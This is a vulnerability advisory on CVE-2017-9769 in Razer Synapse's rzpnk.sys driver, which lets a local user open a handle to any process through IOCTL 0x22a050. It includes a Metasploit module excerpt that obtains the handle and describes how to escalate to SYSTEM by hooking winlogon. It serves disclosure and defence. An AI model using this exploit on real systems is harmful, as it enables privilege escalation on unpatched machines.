Razer rzpnk.sys IOCTL 0x22a050 ZwOpenProcess (CVE-2017-9769)

Today SecureState is releasing the second and more serious of two unpatched vulnerabilities identified within drivers used in the gaming peripheral company Razer’s Synapse application. The driver in question is rzpnk.sys (md5: B4598C05D5440250633E25933FFF42B0) which exposes some functionality via an IOCTL interface.

The handler for the 0x22a050 IOCTL where the vulnerable call to ZwOpenProcess is made.

This vulnerability exists within the handler for IOCTL code 0x22a050 which passes a parameter specified by the user to the ZwOpenProcess kernel function at rzpnk.sys+0x7607. This vulnerability can be exploited by a local attacker to elevate their privileges. SecureState has determined this vulnerability to have a CVSS v2 base score of 7.2 (AV:L/AC:L/Au:N/C:C/I:C/A:C). As the call to ZwOpenProcess is used, the user controls the PCLIENT_ID ClientId parameter which they can use to specify an arbitrary process ID. The other parameters to the function are hard coded, most importantly the ACCESS_MASK DesiredAccess is set to only request the permissions necessary to allocate read and write memory. Since the Zw version of OpenProcess is used as opposed to the Nt one, the parameters are assumed to be from a trustworthy source. The resulting handle is returned to the user where it can be used with standard API calls such as WriteProcessMemory. Due to the limits of the permissions that are acquired, executing shellcode is not as simple as creating a new thread.

The following is an excerpt from the Metasploit module showing the section that is directly relevant to leveraging the vulnerability to open a handle to an arbitrary process.

# this is where the actual vulnerability is leveraged
def get_handle(pid)
  # first open a handle to communicate with the driver
  handle = open_device(
    "\\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095",
    'FILE_SHARE_WRITE|FILE_SHARE_READ',
    0,
    'OPEN_EXISTING'
  )
  return nil unless handle
  vprint_status('Successfully opened a handle to the driver')

  # setup the input buffer where the target PID is defined
  buffer = [pid, 0].pack('QQ')

  railgun = session.railgun
  # cut redefinition of NtDeviceIoControlFile #
  result = railgun.ntdll.NtDeviceIoControlFile(
    handle,
    nil,
    nil,
    nil,
    4,
    0x22a050,
    buffer,
    buffer.length,
    buffer.length,
    buffer.length
   )
  return nil if result['return'] != 0
  railgun.kernel32.CloseHandle(handle)

  # the second value of the output buffer is the handle
  result['OutputBuffer'].unpack('QQ')[1]
end

Exploit module working on Windows 10 x64.

To exploit this vulnerability the Metasploit module opens a handle to winlogon which runs as the NT_AUTHORITY\SYSTEM account. Once the handle is opened, an inline hook is installed in the user32!LockWindowStation function. This is an undocumented function that is exported by user32 and imported by winlogon. This function was selected because after the hook is installed, it can be triggered on demand by calling user32!LockWorkStation. The hook starts a new thread to run the payload, uninstalls itself and returns control to the original user32!LockWindowStation function. As a side effect of this technique, the users work station is locked and they will be prompted to unlock.

Timeline:

  • March 31st, 2017
    • Original Disclosure sent via Razer’s Bug Report / Contact Us form, assigned case #01143771
  • April 3rd, 2017
    • Additional disclosure sent via the Razer Synapase internal bug reporting form at the request of the Razer technical support team
  • June 21st, 2017
  • July 14th, 2017